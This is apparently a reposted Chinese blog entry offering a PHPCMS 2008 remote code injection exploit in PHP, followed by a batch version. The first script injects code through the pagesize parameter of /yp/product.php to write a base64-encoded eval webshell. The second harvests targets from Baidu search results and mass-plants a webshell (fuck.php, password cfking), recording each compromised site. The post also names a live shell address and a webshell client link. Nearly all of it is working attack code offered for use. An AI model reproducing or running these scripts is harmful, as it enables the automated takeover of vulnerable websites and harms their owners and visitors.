phpcms 2008最新0day加批量EXP代码

秒速五厘米 2022-06-17 12:10 369阅读 0赞

积木网络2011年11月  
直接GETSHELL。一句话密码为c  
  
EXP:  
  
\#!/usr/bin/php  
<?php  
print\_r('  
\+---------------------------------------------------------------------------+  
PHPCMS Remote Code Inject GetShell Exploit  
Google Dork:Powered by Phpcms 2008  
code by secr  
\+---------------------------------------------------------------------------+  
');  
if ($argc < 3) \{  
print\_r('  
\+---------------------------------------------------------------------------+  
Usage: php '.$argv\[0\].' host path  
host: target server (ip/hostname)  
path: path to phpcms  
Example:  
php '.$argv\[0\].' localhost /phpcms/  
\+---------------------------------------------------------------------------+  
');  
exit;  
\}  
error\_reporting(0);  
set\_time\_limit(0);  
$host = $argv\[1\];  
$path = $argv\[2\];  
$exp ='/yp/product.php?view\_type=1&catid=&pagesize=\{$\{fputs(fopen(base64\_decode(c2hlbGwucGhw),w),base64\_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))\}\}&areaname=0&order=';  
  
  
//检测是否存在漏洞  
echo "\[+\] Try to determine the Bug....n";  
$returnstr=httpRequestGET('/yp/product.php?view\_type=1&catid=&pagesize=\{$\{phpinfo()\}\}&areaname=&order=');  
if(preg\_match('/(php.ini)/i',$returnstr))\{  
echo("\[+\] This site has Bug!We Will Be Try To Exploit Itn");  
\}  
else  
\{  
exit("\[-\] Exploit Failed! This site has No Bug!n");  
\}  
//如果存在漏洞，就发送EXP Getshell  
echo "\[+\] Try to create webshell....n";  
httpRequestGET($exp);  
$content=httpRequestGET("/yp/shell.php");  
//发送EXP后，在获取的shell检测时候页面里有OK字符，如果有，则GETWebshell成功。  
//print\_r($content);  
if(strpos($content,'ok'))\{  
echo "\[+\] Expoilt successfully....n";  
echo "\[+\] Webshell:http://$host\{$path\}yp/shell.phpn";  
\}else\{  
exit("\[-\] Exploit Failed!n");  
\}  
  
//模拟POST或者GET请求函数。  
function httpRequestGET($url)\{  
global $host, $path;  
$method=$method?'POST':'GET';  
$payload = $method." ".$path.$url." HTTP/1.1rn";  
$payload .= "Accept: \*/\*rn";  
$payload .= "User-Agent: Payb-Agentrn";  
$payload .= "Host: " . $host . "rn";  
$payload .= "Connection: Closernrn";  
$fp = fsockopen(gethostbyname($host), 80);  
if (!$fp) \{  
echo 'No response from '.$host; die;  
\}  
fputs($fp, $payload);  
$resp = '';  
while ($fp && !feof($fp))  
$resp .= fread($fp, 1024);  
return $resp;  
\}  
?>  
  
  
  
  
批量的EXP如下，这威力很大。请各位大牛自重 。  
  
  
  
<?php  
  
error\_reporting(E\_ERROR);  
  
set\_time\_limit(0);  
  
  
  
$keyword='inurl:about/joinus' ; // 批量关键字  
  
$timeout = 1;  
  
$stratpage = 1;  
  
$lastpage = 10000000;  
  
for ($i=$stratpage ; $i<=$lastpage ; $i++ )\{  
  
$array=ReadBaiduList($keyword,$timeout,$i);  
  
foreach ($array as $url )\{  
  
$url\_list=file('url.txt');  
  
if (in\_array("$urlrn",$url\_list))\{  
  
echo "\[-\] Links repeatn";  
  
\}else\{  
  
$fp = @fopen('url.txt', 'a');  
  
@fwrite($fp, $url."rn");  
  
@fclose($fp);  
  
print\_r("  
  
\[-\] Get ...... $urlrn");  
  
if(okbug($url))\{  
  
$exploit=exploit($url);  
  
  
  
$ors=okor($url);  
  
if ($ors)\{  
  
echo "\[\*\] Shell:-> ".$url."/yp/fuck.phpn";  
  
$fp = @fopen('shell.txt', 'a');  
  
@fwrite($fp, $url."/yp/fuck.phprn");  
  
@fclose($fp);  
  
  
  
\}  
  
\}else\{  
  
  
  
print "\[-\] No Bug!n";  
  
\}  
  
\}  
  
\}  
  
\}  
  
  
  
function exploit($url)\{  
  
$host=$url;  
  
$port="80";  
  
$content ='a=@eval(base64\_decode($\_POST\[z0\]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskZnAgPSBAZm9wZW4oJ2Z1Y2sucGhwJywgJ2EnKTsgDQoNQGZ3cml0ZSgkZnAsJzw%2FcGhwIEBldmFsKCRfUE9TVFtjZmtpbmddKTs%2FPicpOw0KDUBmY2xvc2UoJGZwKTs7ZWNobygifDwtIik7ZGllKCk7';  
  
$data = 'POST /yp/product.php?pagesize=$\{$\{@eval%28$\_POST\[a\]%29\}\} HTTP/1.1'."rn";  
  
$data .= "X-Forwarded-For: 199.1.88.29rn";  
  
$data .= "Referer: http://$hostrn";  
  
$data .= "Content-Type: application/x-www-form-urlencodedrn";  
  
$data .= "User-Agent: Mozilla/5.0 (Windows; Windows NT 5.1; en-US) Firefox/3.5.0rn";  
  
$data .= "Host: $hostrn";  
  
$data .= "Content-Length: ".strlen($content)."rn";  
  
$data .= "Cache-Control: no-cachernrn";  
  
$data .= $content."rn";  
  
$ock=fsockopen($host,$port);  
  
if (!$ock) \{  
  
echo "\[\*\] No response from $hostn";  
  
\}  
  
fwrite($ock,$data);  
  
while (!feof($ock)) \{  
  
$exp=fgets($ock, 1024);  
  
return $exp;  
  
\}  
  
\}  
  
  
  
function okor($host)\{  
  
$tmp = array();  
  
$data = '';  
  
$fp = @fsockopen($host,80,$errno,$errstr,60);  
  
@fputs($fp,"GET /yp/fuck.php HTTP/1.1rnHost:$hostrnConnection: Closernrn");  
  
while ($fp && !feof($fp))  
  
$data .= fread($fp, 102400);  
  
@fclose($fp);  
  
if (strpos($data, '200') !== false) \{  
  
return true;  
  
\}else\{  
  
return false;  
  
\}  
  
\}  
  
function okbug($host)\{  
  
$tmp = array();  
  
$data = '';  
  
$fp = @fsockopen($host,80,$errno,$errstr,60);  
  
@fputs($fp,'GET /yp/product.php?view\_type=1&catid=&pagesize=\{$\{phpinfo()\}\}&areaname=&order= HTTP/1.1'."rnHost:$hostrnConnection: Closernrn");  
  
while ($fp && !feof($fp))  
  
$data .= fread($fp, 102400);  
  
@fclose($fp);  
  
if(preg\_match('/(php.ini)/i',$data)) \{  
  
return true;  
  
\}else\{  
  
return false;  
  
\}  
  
\}  
  
  
  
function ReadBaiduList($keyword,$timeout,$nowpage)  
  
\{  
  
$tmp = array();  
  
//$data = '';  
  
$nowpage = ($nowpage-1)\*10;  
  
$fp = @fsockopen('www.baidu.com',80,$errno,$errstr,$timeout);  
  
@fputs($fp,"GET /s?wd=".urlencode($keyword)."&pn=".$nowpage." HTTP/1.1rnHost:\[url\]www.baidu.com\[/url\]rnConnection: Closernrn");  
  
while ($fp && !feof($fp))  
  
$data .= fread($fp, 1024);  
  
@fclose($fp);  
  
preg\_match\_all("/\})" href="http://(\[^~\]\*?)" target="\_blank"/i",$data,$tmp);  
  
$num = count($tmp\[1\]);  
  
$array = array();  
  
for($i = 0;$i < $num;$i++)  
  
\{  
  
$row = explode('/',$tmp\[1\]\[$i\]);  
  
$array\[\] = str\_replace('http://','',$row\[0\]);  
  
\}  
  
return $array;  
  
\}  
  
?>  
  
  
批量后SHELL的地址：http://www.linuxso.com/yp/fuck.php 一句话密码cfking

一句话利用工具 http://www.linuxso.com/sb.htm

本文转自：linux安全网